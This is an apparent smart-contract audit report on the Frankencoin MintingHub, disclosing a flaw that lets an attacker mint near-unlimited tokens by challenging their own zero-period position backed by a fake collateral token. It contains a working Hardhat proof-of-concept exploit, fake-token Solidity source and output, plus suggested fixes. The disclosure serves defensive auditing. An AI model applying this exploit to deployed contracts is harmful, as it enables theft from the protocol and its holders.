Lines of code
<https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140&gt;

Vulnerability details

Impact

An attacker can mint himself as many Frankencoins as he wants in a single transaction by challenging an invalid position.

Proof of Concept

Steps overview:

Since there’s no check on the validity of a position when challenging it, an attacker can:

1. a) Create a malicious position with a huge collateral price
2. b) Start a challenge on the malicious position
3. c) End the challenge of the malicious position
   * (This would cause the position to mint many Frankencoins and transfer them to the attacker.)

In-depth explanation and POC code:

The following is a test I added to PositionTests.ts that implements this exploit (most of the setup code is copied from the position tests).

describe("Mint infinite Frankencoins", () => {
    it("create malicious position", async () => {
        // The collateral is a "fake" token that doesn't do anything and never reverts
        let dacaMock = await createContract("FakeToken", []);
        let collateral = dacaMock.address;

        // Attacker is gonna be rich
        let fliqPrice = BN.from("0xffffffffffffffffffffffffffffffffffffffffffffffff")
        let minCollateral = floatToDec18(0);
        let fInitialCollateral = floatToDec18(1);
        let duration = BN.from(14 * 86_400);
        let fFees = BN.from(fee * 1000_000);
        let fReserve = BN.from(reserve * 1000_000);
        let challengePeriod = BN.from(0); // Challenge period is zero

        let openingFeeZCHF = await mintingHubContract.OPENING_FEE();

        // Attacker only needs the pay to position opening fee
        await ZCHFContract['transfer(address,uint256)'](attacker.address, openingFeeZCHF);

        // Create the malicous position
        let tx = await mintingHubContract.connect(attacker)["openPosition(address,uint256,uint256,uint256,uint256,uint256,uint32,uint256,uint32)"]
            (collateral, minCollateral, fInitialCollateral, initialLimit, duration, challengePeriod, fFees, fliqPrice, fReserve);
        let rc = await tx.wait();
        const topic = '0x591ede549d7e337ac63249acd2d7849532b0a686377bbf0b0cca6c8abd9552f2'; // PositionOpened
        const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
        positionAddr = log.address;
    });
    it("launch challange in malicous position", async () => {
        // The attacker starts with no tokens
        console.log("Attacker balance before attack: ", (await ZCHFContract.balanceOf(attacker.address)).toString())

        // Create a new challenge in the malicous position
        await mintingHubContract.connect(attacker)["launchChallenge(address,uint256)"](positionAddr, floatToDec18(1));
    });
    it("end challange in malicous position", async () => {
        // Immediatly end the challenge (challenge index is 0)
        await mintingHubContract.connect(attacker)["end(uint256,bool)"](BN.from(0), false);

        // The attacker ends with a lot of tokens
        console.log("Attacker balance after attack:  ", (await ZCHFContract.balanceOf(attacker.address)).toString())
    });
});

Note that I set attacker = accounts[5] and that FakeToken is some contract that doesn’t do anything and always returns a sensible value. Here is the FakeToken contract I wrote

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../IERC20.sol";

contract FakeToken is IERC20 {
    function name() external view returns (string memory) {
        return "daca coin";
    }

    function symbol() external view returns (string memory) {
        return "DACA";
    }

    function decimals() external view returns (uint8) {
        return 18;
    }

    function totalSupply() external view returns (uint256) {
        return 0;
    }

    function balanceOf(address account) external view returns (uint256) {
        return 1;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return true;
    }

    function transferAndCall(address recipient, uint256 amount, bytes calldata data) external returns (bool) {
        return true;
    }

    function allowance(address owner, address spender) external view returns (uint256) {
        return type(uint256).max;
    }


    function approve(address spender, uint256 amount) external returns (bool) {
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        return true;
    }
}

After running the test, the output is

    Mint infinite Frankencoins
      ✓ create malicous position
Attacker balance before attack:  0
      ✓ launch challange in malicous position
Attacker balance after attack:   125542034707733615276715788464153328322
      ✓ end challange in malicous position

As you can see, the attackers start with nothing and end with a practically infinite amount of Frankencoins.

Tools Used

Just the same hardhat suite as the project.

Recommended Mitigation Steps

I recommend the following modifications:

Check position is cool (or started) when challenging

The problem is that you can challenge positions that are still “hot”. I suggest modifying the validPos modifier to check that the position is not hot. Here is an example code:

modifier validPos(address position) {
    require(zchf.isPosition(position) == address(this), "not our pos");
    // Added the following line
    require(block.timestamp > position.cooldown(), "Position is still hot!");
    _;
}

If you want to allow hot positions to be challenged, then you still need to check that the position has started (and wasn’t denied), so you can implement the following solution instead:

modifier validPos(address position) {
    require(zchf.isPosition(position) == address(this), "not our pos");
    // Added the following line
    require(block.timestamp > position.start(), "Position hasn't started!");
    _;
}

Add minimum challenge period

You can launch a challenge and end it in the same transaction if you set the challenge period to 0. I recommend adding a minimum challenge period, it must be at least one block long (so they can’t happen in the same transaction, giving a defender time to act), or preferably at least a day or few. Add the following line to the Position constructor, before this line

require(_challengePeriod > 1 day);
challengePeriod = _challengePeriod;  

---

The text was updated successfully, but these errors were encountered:

All reactions